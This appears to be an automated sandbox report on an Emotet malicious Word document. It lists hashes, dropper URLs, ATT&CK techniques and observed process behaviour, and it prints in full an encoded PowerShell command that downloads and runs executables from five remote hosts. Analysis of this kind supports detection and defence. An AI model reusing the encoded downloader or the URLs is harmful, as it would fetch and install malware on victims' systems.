cebe387ca85ab9f4935fb67afeb33c46a9c819516214ab1ee592afef6ee7e96f

General

Target

emotet_e3_cebe387ca85ab9f4935fb67afeb33c46a9c819516214ab1ee592afef6ee7e96f_2020-09-19__172346028370._doc.doc
Size

229KB
MD5

b6dee4a2f6e8dd2f67077d602dbba819
SHA1

6fbfd4f9950d6f8154f82657ab3c1c95c1bd0f6d
SHA256

cebe387ca85ab9f4935fb67afeb33c46a9c819516214ab1ee592afef6ee7e96f
SHA512

55d68b34116f4c95bc01dcba8ccb4198363a46dfb7c529b0aa5f642e9ad24d9d09eede878b413160cca04ce395401b1486d52ffc061a2f936cab151cbd68dc23

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://arsan.com.br/img_b2w/jstgflap98/

exe.dropper

http://koester-pb.de/cgi-bin/HoDIPqV/

exe.dropper

http://aragonmetal.com/_installation/LPMGMZroO/

exe.dropper

https://www.witdigi.com/wp-content/uploads/iBeE/

exe.dropper

http://yellowstonefitness.com/j5es7cx/QgLkys4ga64g228/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 212 1680 powersheLL.exe
Blacklisted process makes network request 5 IoCs

Processes:

powersheLL.exe

flow pid process

21 212 powersheLL.exe
27 212 powersheLL.exe
29 212 powersheLL.exe
32 212 powersheLL.exe
34 212 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	212	1680	powersheLL.exe

flow	pid	process
21	212	powersheLL.exe
27	212	powersheLL.exe
29	212	powersheLL.exe
32	212	powersheLL.exe
34	212	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3888 WINWORD.EXE
3888 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powersheLL.exe

pid process

212 powersheLL.exe
212 powersheLL.exe
212 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 212 powersheLL.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE

pid	process
3888	WINWORD.EXE
3888	WINWORD.EXE

pid	process
212	powersheLL.exe
212	powersheLL.exe
212	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	212	powersheLL.exe

pid	process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_cebe387ca85ab9f4935fb67afeb33c46a9c819516214ab1ee592afef6ee7e96f_2020-09-19__172346028370._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABQAGsAaAByADUAZABwAD0AJwBaAHAAawByAG0AawBxACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAYABVAGAAUgBpAGAAVABZAFAAYABSAE8AVABPAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQA2AF8AdQBkAHAAMAAgAD0AIAAnAEMAYwBiAHAAJwA7ACQAWQBxADEAbwBsAHQAcQA9ACcASwBvADIAZgAzAHoAZAAnADsAJABCADgAOQB0ADUAcwB2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARQA2AF8AdQBkAHAAMAArACcALgBlAHgAZQAnADsAJABOAHYAbQAwAHIAYgB0AD0AJwBGAGQAMAA3AG8AOABxACcAOwAkAFYAZgBnAHgAZQA3ADAAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAQwBMAGkARQBOAFQAOwAkAFgANwA1AHgAMQBvADAAPQAnAGgAdAB0AHAAOgAvAC8AYQByAHMAYQBuAC4AYwBvAG0ALgBiAHIALwBpAG0AZwBfAGIAMgB3AC8AagBzAHQAZwBmAGwAYQBwADkAOAAvACoAaAB0AHQAcAA6AC8ALwBrAG8AZQBzAHQAZQByAC0AcABiAC4AZABlAC8AYwBnAGkALQBiAGkAbgAvAEgAbwBEAEkAUABxAFYALwAqAGgAdAB0AHAAOgAvAC8AYQByAGEAZwBvAG4AbQBlAHQAYQBsAC4AYwBvAG0ALwBfAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC8ATABQAE0ARwBNAFoAcgBvAE8ALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHcAaQB0AGQAaQBnAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBCAGUARQAvACoAaAB0AHQAcAA6AC8ALwB5AGUAbABsAG8AdwBzAHQAbwBuAGUAZgBpAHQAbgBlAHMAcwAuAGMAbwBtAC8AagA1AGUAcwA3AGMAeAAvAFEAZwBMAGsAeQBzADQAZwBhADYANABnADIAMgA4AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABWADIAZgBmAHUANABmAD0AJwBRAHUAcwB3AHkAZgAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABPADIAMwB6AGMAMQBiACAAaQBuACAAJABYADcANQB4ADEAbwAwACkAewB0AHIAeQB7ACQAVgBmAGcAeABlADcAMAAuACIARABPAFcAYABOAGwAbwBgAEEARABGAEkATABFACIAKAAkAE8AMgAzAHoAYwAxAGIALAAgACQAQgA4ADkAdAA1AHMAdgApADsAJABFAHkAdgB0ADEAdwAzAD0AJwBYAGwAZwBpAHYAdQByACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQgA4ADkAdAA1AHMAdgApAC4AIgBMAGAARQBOAGcAVABoACIAIAAtAGcAZQAgADIAOQA5ADkAMQApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACgAJABCADgAOQB0ADUAcwB2ACkAOwAkAFMAbABiAHUAMABoADEAPQAnAEIAbQA4AHQAOQAyAGQAJwA7AGIAcgBlAGEAawA7ACQASAB6ADIAbAA5AG0AaQA9ACcARwBpAGkAeAA5ADEAYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABBAHkAMAA1AHkAZABpAD0AJwBXAGQAeQBrADYAbgBhACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:212

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/212-9-0x00007FF8B8060000-0x00007FF8B8A4C000-memory.dmp

Filesize
9.9MB

Download
memory/212-10-0x0000018419BE0000-0x0000018419BE1000-memory.dmp

Filesize
4KB

Download
memory/212-11-0x0000018419D90000-0x0000018419D91000-memory.dmp

Filesize
4KB

Download
memory/3888-0-0x00007FF8BF460000-0x00007FF8BFB26000-memory.dmp

Filesize
6.8MB

Download
memory/3888-5-0x000001BE4F472000-0x000001BE4F4A8000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads